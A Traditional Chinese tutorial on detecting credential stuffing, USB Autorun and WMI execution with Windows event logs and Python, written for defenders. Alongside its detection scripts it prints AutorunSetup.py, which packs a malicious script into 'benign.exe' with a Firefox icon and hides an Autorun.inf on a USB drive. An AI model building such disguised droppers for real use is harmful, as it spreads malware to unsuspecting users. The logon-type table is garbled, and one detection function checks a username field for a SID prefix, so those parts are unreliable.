返回文章列表

Windows 事件日誌偵測初始存取攻擊

本文探討如何利用 Windows 事件日誌和 Python 指令碼偵測初始存取攻擊,涵蓋憑證填充攻擊、可移除媒體攻擊和 WMI 遠端執行等常見攻擊途徑。文章提供程式碼範例,示範如何使用 pywin32 和 wmi 函式庫查詢事件日誌、識別惡意程式和監控 WMI 活動,並解析程式碼邏輯與功能,幫助讀者理解

資安 系統管理

Windows 事件日誌是記錄系統活動的重要工具,能有效協助偵測初始存取攻擊。針對憑證填充攻擊,可分析安全性日誌中登入失敗事件 (Event ID 4625) 的次數和目標帳戶,識別可疑的登入模式。對於透過可移除媒體的攻擊,則需檢查 Autorun.inf 檔案是否存在和其指向的可執行檔是否正在執行。最後,WMI 提供遠端程式碼執行的能力,攻擊者可能利用此功能進行惡意操作,因此監控程式建立事件和 WMI 名稱空間活動至關重要。Python 的 pywin32 和 wmi 函式庫提供便捷的介面,讓安全人員能有效地查詢事件日誌、分析系統程式和監控 WMI 活動,提升系統安全防禦能力。

使用Windows事件日誌偵測初始存取攻擊

在網路安全領域中,攻擊者獲得初始存取許可權是攻擊流程中的第一步。為了偵測這類別攻擊,特別是憑證填充攻擊(credential stuffing attack),我們可以利用Windows事件日誌來監控登入嘗試。

Windows事件日誌簡介

Windows作業系統會記錄各種不同的事件,並將其儲存在不同的日誌檔案中。在本案例中,我們將重點關注安全性日誌(Security Log)。此日誌可透過與Windows作業系統捆綁的事件檢視器(Event Viewer)進行存取。

事件程式碼與登入型別

Windows為每種事件分配特定的程式碼,以便進行搜尋和篩選。在本範例中,我們主要關注兩個事件程式碼:

  • 4624:成功的登入嘗試
  • 4625:失敗的登入嘗試

每個事件日誌條目都包含豐富的資訊,例如目標使用者名稱、網域名稱等。其中,LogonType欄位對於識別登入型別至關重要。Windows為不同的登入事件分配不同的程式碼,如下表所示:

| 登入型別 | 登入標題 | 描述 | |


–|


–|


–| | 0 | System | 由系統帳戶使用,例如在系統啟動時。 | | 2 | Interactive | 使用者在本機登入電腦。 | | 3 | Network | 使用者或電腦透過網路登入本機電腦。 | | 4 | Batch | 由批次伺服器使用,程式可能代表使用者執行而無需直接干預。 | | 5 | Service | 服務控制管理員啟動服務。 | | 7 | Unlock | 工作站解鎖。 | | 8 | NetworkCleartext | 使用者透過網路登入本機電腦,使用者密碼以未雜湊形式傳遞給驗證包。 | | 9 | NewCredentials | 呼叫者複製目前的權杖,並為輸出連線指定新的憑證。 | | 10 | RemoteInteractive | 使用者透過終端機服務或遠端桌面遠端登入本機電腦。 | | 11 | CachedInteractive | 使用者在電腦上使用本地儲存的網路憑證登入,未聯絡網域控制器驗證憑證。 |

利用Python存取Windows事件日誌

我們使用pywin32模組中的win32evtlog函式庫來存取和分析Windows事件日誌。以下是一個範例程式碼(ValidAccountDetection.py),用於偵測失敗的登入嘗試和未授權的預設帳戶存取。

import win32evtlog

def QueryEventLog(event_id):
    server = 'localhost'
    logtype = 'Security'
    flags = win32evtlog.EVENTLOG_FORWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ
    handle = win32evtlog.OpenEventLog(server, logtype)
    logs = []
    while True:
        events = win32evtlog.ReadEventLog(handle, flags, 0)
        if not events:
            break
        for event in events:
            if event.EventID == event_id:
                logs.append(event)
    win32evtlog.CloseEventLog(handle)
    return logs

def DetectBruteForce():
    failures = {}
    events = QueryEventLog(4625)
    for event in events:
        account = event.StringInserts[5]  # TargetUserName
        if account.startswith("S-1-5-21"):
            if account in failures:
                failures[account] += 1
            else:
                failures[account] = 1
    for account, count in failures.items():
        print(f"{account}: {count} 次失敗登入")

def CheckDefaultAccounts():
    with open("defaults.txt", "r") as f:
        defaults = [line.strip().split(' ')[0] for line in f]
    with open("allowlist.txt", "r") as f:
        allowed = f.read().splitlines()
    events = QueryEventLog(4624)
    for event in events:
        if event.StringInserts[8] == "10" and event.StringInserts[5] in defaults:
            if event.StringInserts[18] not in allowed:
                print(f"未授權登入至 {event.StringInserts[5]}{event.StringInserts[18]}")

DetectBruteForce()
CheckDefaultAccounts()

程式碼解析:

  1. QueryEventLog函式:此函式用於查詢特定事件ID的事件日誌。它使用win32evtlog函式庫開啟安全性日誌,並讀取相關事件。
  2. DetectBruteForce函式:此函式偵測針對特定帳戶的暴力破解攻擊。它查詢事件ID 4625(失敗的登入嘗試),並統計每個帳戶的失敗登入次數。
  3. CheckDefaultAccounts函式:此函式檢查預設帳戶的未授權存取。它查詢事件ID 4624(成功的登入嘗試),並檢查是否為預設帳戶且來源IP不在允許清單中。
此圖示說明瞭程式的主要流程,包括查詢事件日誌、偵測暴力破解攻擊以及檢查預設帳戶的未授權存取。

透過移除媒體進行複製攻擊

網路上常見的攻擊手法是利用有效的使用者帳戶來取得目標系統的存取權。雖然這種攻擊途徑有效且被廣泛使用,但它也可能容易被根據網路的安全解決方案所偵測和阻止。

另一種獲得初始存取權的方法是使用可移除媒體,如USB驅動器、CD/DVD等。當使用者將可移除媒體插入驅動器時,媒體上的惡意內容可能會在其電腦上執行。

利用自動執行功能

過去,Windows作業系統預設啟用自動執行功能。這使得在這些裝置上分發的軟體更加使用者友好,因為當驅動器插入電腦時,主要應用程式會自動執行。然而,同樣的功能也可能被濫用,以透過可移除媒體分發惡意軟體。因此,Windows作業系統預設已停用自動執行功能。

在執行舊版作業系統或使用者決定啟用自動執行功能的情況下,自動執行是一種可行的感染途徑。在停用自動執行的情況下,一個足夠誘人的檔案名稱可能會誘導使用者自行執行惡意軟體。

AutorunSetup.py 程式碼分析

import PyInstaller.__main__
import shutil
import os

filename = "malicious.py"
exename = "benign.exe"
icon = "Firefox.ico"
pwd = "X:"
usbdir = os.path.join(pwd, "USB")

if os.path.isfile(exename):
    os.remove(exename)

# 從 Python 指令碼建立可執行檔
PyInstaller.__main__.run([
    "malicious.py",
    "--onefile",
    "--clean",
    "--log-level=ERROR",
    "--name=" + exename,
    "--icon=" + icon
])

# 清理 Pyinstaller 產生的檔案
shutil.move(os.path.join(pwd, "dist", exename), pwd)
shutil.rmtree("dist")
shutil.rmtree("build")
shutil.rmtree("__pycache__")
os.remove(exename + ".spec")

# 建立自動執行檔案
with open("Autorun.inf", "w") as o:
    o.write("[Autorun]\n")
    o.write("Open=" + exename + "\n")
    o.write("Action=Start Firefox Portable\n")
    o.write("Label=My USB\n")
    o.write("Icon=" + exename + "\n")

# 將檔案移動到 USB 並設定為隱藏
shutil.move(exename, usbdir)
shutil.move("Autorun.inf", usbdir)
os.system("attrib +h \"" + os.path.join(usbdir, "Autorun.inf") + "\"")

內容解密:

  1. 匯入必要的模組:指令碼首先匯入了 PyInstaller.__main__shutilos 模組,分別用於建立可執行檔、檔案操作和與作業系統互動。
  2. 定義變數:定義了惡意 Python 指令碼的名稱 (filename)、輸出可執行檔的名稱 (exename)、圖示檔案 (icon)、當前工作目錄 (pwd) 和 USB 驅動器的路徑 (usbdir)。
  3. 建立可執行檔:使用 PyInstaller 將惡意 Python 指令碼封裝成 Windows 可執行檔,並指定了輸出名稱和圖示。
  4. 清理 PyInstaller 產生的檔案:清理 PyInstaller 在建立可執行檔過程中產生的臨時檔案和目錄。
  5. 建立自動執行檔案:建立了一個 Autorun.inf 檔案,該檔案包含了當 USB 驅動器插入時要執行的命令。該檔案指定了要執行的程式 (exename),並提供了動作描述、標籤和圖示。
  6. 移動檔案到 USB 並隱藏:將建立的可執行檔和 Autorun.inf 檔案移動到指定的 USB 目錄,並將 Autorun.inf 設定為隱藏屬性,以避免被輕易發現。

將 Python 指令碼轉換為 Windows 可執行檔

Python 是一種解釋型語言,需要直譯器來執行。雖然 Python 是一種常用的語言,但它並未預設包含在 Windows 中,因此無法假設目標系統已安裝 Python。

PyInstaller 套件解決了這個問題。它允許將 Python 指令碼封裝成 Windows 可移植可執行檔(PE),其中包含了程式碼及其所需的所有函式庫,使得它能夠在任何 Windows 系統上執行。

防範措施

為了防範透過可移除媒體進行的複製攻擊,使用者應避免在不明來源的 USB 驅動器上執行任何程式。此外,確保作業系統和防毒軟體保持最新狀態,並停用自動執行功能,可以有效降低感染惡意軟體的風險。

自動執行惡意程式的偵測與防禦

在上一節中,我們探討瞭如何利用 Windows Autorun 功能來傳遞惡意軟體。如果目標電腦啟用了 Autorun 功能,或者使用者執行了惡意檔案,那麼攻擊者就能獲得該系統的存取許可權和程式執行能力。

AutorunDetection.py 程式碼解析

為了幫助防禦者識別和應對 Autorun 威脅,開發了 AutorunDetection.py 程式碼。此程式碼檢查可移除式磁碟機中是否包含 Autorun.inf 檔案,如果存在,則檢查該檔案指向的可執行檔是否正在系統上執行。

識別可移除式磁碟機

要識別 Autorun.inf 檔案,首先需要檢測連線到電腦的可移除式磁碟機。Python 的 win32apiwin32file 套件使這成為可能。

import win32con
from win32api import GetLogicalDriveStrings
from win32file import GetDriveType
import os.path
import psutil

def GetRemovableDrives():
    driveStrings = GetLogicalDriveStrings()
    drives = [item for item in driveStrings.split("\x00") if item]
    return [drive for drive in drives if GetDriveType(drive) is win32con.DRIVE_REMOVABLE]

檢查 Autorun 檔案

接下來,程式碼會檢查每個可移除式磁碟機中是否存在 Autorun.inf 檔案,並讀取該檔案以取得其指向的可執行檔名稱。

def CheckAutorun(drive):
    filename = drive + "Autorun.inf"
    if os.path.isfile(filename):
        print("Autorun file at %s" % filename)
        with open(filename, "r") as f:
            for line in f:
                if line.startswith("Open"):
                    ind = line.index("=")
                    return line[ind+1:].rstrip()
    else:
        return None

偵測 Autorun 程式

最後,程式碼會檢查由 Autorun.inf 檔案指定的可執行檔是否正在系統上執行。

def DetectAutorunProcess(executable):
    for proc in psutil.process_iter():
        if executable == proc.name():
            print("Autorun file running with PID %d" % proc.pid)

for drive in GetRemovableDrives():
    executable = CheckAutorun(drive)
    if executable:
        DetectAutorunProcess(executable)

程式碼解密:

  1. GetRemovableDrives 函式:利用 win32apiwin32file 套件來取得系統中所有可移除式磁碟機的列表。

    • 作用:遍歷所有磁碟機並篩選出可移除式磁碟機。
    • 邏輯:透過 GetLogicalDriveStrings 取得所有磁碟機列表,再使用 GetDriveType 檢查每個磁碟機的型別。
  2. CheckAutorun 函式:檢查指定的磁碟機根目錄中是否存在 Autorun.inf 檔案,並讀取該檔案以取得其指向的可執行檔名稱。

    • 作用:讀取 Autorun.inf 檔案,提取 Open 欄位後面的可執行檔名稱。
    • 邏輯:開啟 Autorun.inf 檔案,逐行讀取並解析 Open 指令。
  3. DetectAutorunProcess 函式:遍歷目前系統中所有執行的程式,檢查是否有由 Autorun.inf 指定的可執行檔正在執行。

    • 作用:確認惡意可執行檔是否正在執行。
    • 邏輯:使用 psutil.process_iter() 取得所有正在執行的程式,並與 Autorun.inf 中的可執行檔名稱進行比對。
  4. 主流程:遍歷所有可移除式磁碟機,檢查是否存在 Autorun.inf 檔案,並進一步檢查相關的可執行檔是否正在執行。

    • 作用:實作對 Autorun 威脅的全面檢測。
    • 邏輯:結合上述函式,完成對可移除式磁碟機的掃描和惡意程式的檢測。

使用Python進行WMI遠端執行與檢測

Windows Management Instrumentation(WMI)是一種強大的管理工具,允許系統管理員使用相同的命令來管理本地和遠端電腦。對於攻擊者來說,WMI提供了一種在本地或遠端電腦上實作程式碼執行的途徑,同時也可用於進行偵察和其他任務。

使用WMI執行程式碼

WMI可以直接透過命令提示字元和專用的Python函式庫進行存取。許多WMI命令也可以使用Windows PowerShell執行。

WMIExecution.py範例程式碼

import subprocess, wmi

def WMIProcessCreation(name):
    c = wmi.WMI()
    processID, returnValue = c.Win32_Process.Create(CommandLine=name)
    print("已建立處理程式 %s,PID為 %d" % (name, processID))

def PSProcessCreation(name):
    command = ["powershell", "& { invoke-wmimethod win32_process -name create -argumentlist notepad.exe | select ProcessId | % { $_.ProcessId } | Write-Host }"]
    p = subprocess.run(command, shell=True, capture_output=True)
    if p.returncode == 0:
        print("PowerShell命令執行成功")

程式碼解析:

  1. **WMIProcessCreation函式:**此函式使用wmi函式庫建立一個新的處理程式。它呼叫Win32_Process.Create方法並傳遞要執行的命令列,傳回新處理程式的PID。
  2. **PSProcessCreation函式:**此函式展示瞭如何使用PowerShell透過WMI建立處理程式。它使用subprocess.run執行一個PowerShell命令,該命令呼叫invoke-wmimethod來建立一個新的處理程式。

檢測WMI活動

為了檢測惡意的WMI活動,可以監控系統上的WMI事件。以下是一些用於檢測WMI活動的技術:

  • 監控處理程式建立事件:攻擊者可能會使用WMI建立新的處理程式,因此監控處理程式建立事件可以幫助檢測惡意活動。
  • 監控WMI名稱空間:攻擊者可能會使用WMI名稱空間來儲存惡意指令碼或組態,因此監控WMI名稱空間可以幫助檢測惡意活動。

WMIDetection.py範例程式碼

import wmi

def detect_wmi_activity():
    c = wmi.WMI()
    # 查詢最近建立的處理程式
    for process in c.Win32_Process():
        print("處理程式名稱:%s,PID:%d" % (process.Name, process.ProcessId))

detect_wmi_activity()

程式碼解析:

  1. **detect_wmi_activity函式:**此函式使用wmi函式庫查詢系統上的所有處理程式,並列印出每個處理程式的名稱和PID。

練習建議

  1. 修改WMIExecution.py以使用不同的命令或引數來建立處理程式。
  2. 擴充套件WMIDetection.py以監控特定的WMI事件或名稱空間。
  3. 研究如何使用其他Python函式庫或工具來檢測和防禦WMI相關的攻擊。